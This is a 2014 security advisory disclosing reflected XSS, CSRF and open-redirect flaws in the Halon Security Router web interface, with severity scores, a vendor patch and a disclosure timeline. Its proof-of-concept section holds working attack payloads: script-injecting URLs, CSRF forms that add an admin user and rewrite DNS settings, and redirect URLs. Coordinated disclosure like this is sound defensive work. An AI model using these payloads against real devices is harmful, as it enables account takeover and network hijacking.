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4.1 KiB
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119 lines
No EOL
4.1 KiB
Text
ADVISORY INFORMATION
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Advisory Name: Multiple Security Vulnerabilities in Halon Security Router
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Date published: 2014-04-07
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Vendors contacted: Halon Security (http://www.halon.se)
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Researcher: Juan Manuel Garcia (http://www.linkedin.com/in/juanmagarcia)
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VULNERABILITIES INFORMATION
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Vulnerabilities:
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1. Reflected Cross-Site Scripting (XSS) {OWASP Top 10 2013-A3}
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2. Cross-site Request Forgery (CSRF) {OWASP Top 10 2013-A8}
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3. Open Redirect {OWASP Top 10 2013-A10}
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Severities:
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1. Reflected XSS: Medium - CVSS v2 Base Score: 5.5 (AV:N/AC:L/Au:S/C:P/I:P/A:N)
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2. CSRF: High - CVSS v2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
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3. Open Redirect: High - CVSS v2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
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Affected Applications: Security router (SR) v3.2-winter-r1 and earlier.
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Affected Platforms: Software, virtual and hardware
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Local / Remote: Remote
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Vendor Status: Patched
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VULNERABILITIES DESCRIPTION
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1. Reflected XSS: https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
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2. CSRF: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
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3. Open Redirect: https://www.owasp.org/index.php/Open_redirect
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TECHNICAL DESCRIPTION AND PROOF OF CONCEPTS
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1- Reflected XSS:
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At least the following parameters are not properly sanitized:
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http://sr.demo.halon.se/commands/logviewer/?log=vic0';</script><script>alert(1)</script>
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Parameter: log
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http://sr.demo.halon.se/fileviewer/?file=";</script><script>alert(1)</script>
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Parameter: file
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http://sr.demo.halon.se/system/graphs/?graph='+alert(1)+'
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Parameter: graph
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http://sr.demo.halon.se/commands/?command='+alert(1)+'
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Parameter: command
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http://sr.demo.halon.se/system/users/?id='+alert(1)+'
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Parameter: id
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http://sr.demo.halon.se/config/?uri='+alert(1)+'
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Parameter: uri
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Other parameters of the application might also be affected.
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2- CSRF:
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At least the following functions are vulnerable:
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Add user: http://xxx.xxx.xxx.xxx/system/users/?add=user
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<html>
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<body>
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<form method="POST" name="form0" action="http://localhost:80/system/users/?add=user">
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<input type="hidden" name="checkout" value="17"/>
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<input type="hidden" name="apply" value=""/>
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<input type="hidden" name="id" value=""/>
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<input type="hidden" name="old_user" value=""/>
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<input type="hidden" name="user" value="hacker"/>
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<input type="hidden" name="full-name" value="ITFORCE H4x0r"/>
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<input type="hidden" name="class" value=""/>
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<input type="hidden" name="password" value="1234"/>
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<input type="hidden" name="password2" value="1234"/>
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</form>
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</body>
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</html>
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DNS configuration: http://xxx.xxx.xxx.xxx/network/dns
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<html>
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<body>
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<form method="POST" name="form0" action="http://localhost:80/network/dns/">
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<input type="hidden" name="checkout" value="17"/>
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<input type="hidden" name="apply" value=""/>
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<input type="hidden" name="name-servers" value="8.8.8.8"/>
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<input type="hidden" name="search-domain" value=""/>
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<input type="hidden" name="host-name" value="sr.demo.halon.se"/>
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</form>
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</body>
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</html>
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Network Configuration: http://xxx.xxx.xxx.xxx/network/basic
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Load Balancer Configuration: http://xxx.xxx.xxx.xxx/network/loadbalancer
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VPN Configuration: http://xxx.xxx.xxx.xxx/network/vpn
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Firewall Configuration: http://xxx.xxx.xxx.xxx/network/firewall
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Other functions of the application might also be affected.
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3- Open Redirect:
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At least the following parameters are not properly sanitized:
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http://sr.demo.halon.se/cluster/?switch_to=&uri=http://itforce.tk
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Parameter: uri
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http://sr.demo.halon.se/config/?checkout=17&uri=http://itforce.tk
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Parameter: uri
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Other parameters of the application might also be affected.
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SOLUTION
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Install / Upgrade to Security router (SR) v3.2r2
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REPORT TIMELINE
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2014-04-03: IT Force notifies the Halon team of the vulnerabilities and receives the support ticket ID ZOJ-105816.
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2014-04-04: Vendor acknowledges the receipt of the information and informs that the vulnerabilities are going to be resolved in v3.2r2 and updates the SR online demo site.
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2014-04-04: IT Force advises Halon on how to resolve the vulnerabilities reported.
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2014-04-04: IT Force coordinate with Halon the advisory publication for April 07,2014.
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2014-04-07: IT Force published the advisory.
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CONTACT INFORMATION
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www.itforce.tk |